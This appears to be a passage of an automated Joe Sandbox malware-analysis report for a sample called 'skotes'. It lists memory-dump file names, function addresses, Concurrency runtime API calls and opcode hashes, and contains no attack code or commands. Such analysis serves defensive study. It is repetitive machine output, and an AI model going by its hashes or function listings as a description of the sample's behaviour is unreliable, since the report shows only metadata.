Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 0689b6e053a3c354c55c8765442ef9e0171d72280c45b4cf2a5a79e279eff3f3
Instruction ID: 3d584b486ff057d8be7ee54cc54cc0078f0edf684b82ae329a60ff30fea43bd1
Opcode Fuzzy Hash: 0689b6e053a3c354c55c8765442ef9e0171d72280c45b4cf2a5a79e279eff3f3
Instruction Fuzzy Hash: 7BB19D70A00615EFDB18CF68D995BBAB7B6FF49301F18416DE906AB381D730A9C1CB90

Function 00611602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00612CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00612D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00611614

Part of subcall function 00612E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00612E39
Part of subcall function 00612E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00612EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00611746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 006117A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 006117B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 006117ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0061180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0061181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00611823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 0061183B

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: 1edd5d5ffa1a39afd22e9f81d78168e926bcb848629e6685a364595eaa76b443
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 65817A71E002259FCB18CFA8C590AADB7F2FF49304B1982ADD545AB741C771AD92CBC4

Function 0061EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0061EC81

Part of subcall function 00618F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00618F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0061ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0061ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0061ED0C

Part of subcall function 0061E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0061E7D7
Part of subcall function 0061E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0061E86F
Part of subcall function 0061E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0061E879
Part of subcall function 0061E7AF: Concurrency::location::_Assign.LIBCMT ref: 0061E8AD
Part of subcall function 0061E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0061E8B5

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 573022039f6efa12a0bbce0d343595d9d2dd29e635d95638def6963583cb11a6
Instruction ID: cc1927fd1a3b46e2289b28ef4838c653bb7e60a4a429e37950d91043376f1e64
Opcode Fuzzy Hash: 573022039f6efa12a0bbce0d343595d9d2dd29e635d95638def6963583cb11a6
Instruction Fuzzy Hash: C3516C31A002159BDF58DF50D895BEEB776AF84310F184068ED066B3E2CB71AE86CB91

Function 0060CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0060CBAA

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 81a825bd8370887fd34832e3ab3f812890f9a29e246ce52889755a25b9129459
Instruction ID: c6c79c0f896f775fa41841d170c0badf6cb6f467efde71b4e4199ecce8a36f98
Opcode Fuzzy Hash: 81a825bd8370887fd34832e3ab3f812890f9a29e246ce52889755a25b9129459
Instruction Fuzzy Hash: B5B09232A1793047DB556B14BC1859F7B169B81A2230A2256D902A72B4CB605E824BD4

Function 0060DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afd250d5386a90a0c3da3644cdb06c57681676602fa2b600ffa3b24d0694be90
Instruction ID: 8510114bb0f051bb1315dcb32c033c5ef6e38359e4752a7ea1e1f6021a93bc3a
Opcode Fuzzy Hash: afd250d5386a90a0c3da3644cdb06c57681676602fa2b600ffa3b24d0694be90
Instruction Fuzzy Hash: 8151B0B2A01706CBDB19CF98D8957AEB7F2FB48315F24866AD406EB394D374A940CF50

Function 05390AF6 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3127796633.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e185eecd328536ff26577cb88052ffa85f455bf4d21b3b7ea437fcfdf68dc0f9
Instruction ID: 090a1fa8af46169d40aa0e054b2d81422328dda5176ca91aac59180434598e51
Opcode Fuzzy Hash: e185eecd328536ff26577cb88052ffa85f455bf4d21b3b7ea437fcfdf68dc0f9
Instruction Fuzzy Hash: 080161E710C2505EEB0ED521665AAF77B6EDAD333833100BBD043C7913D54A8949C271

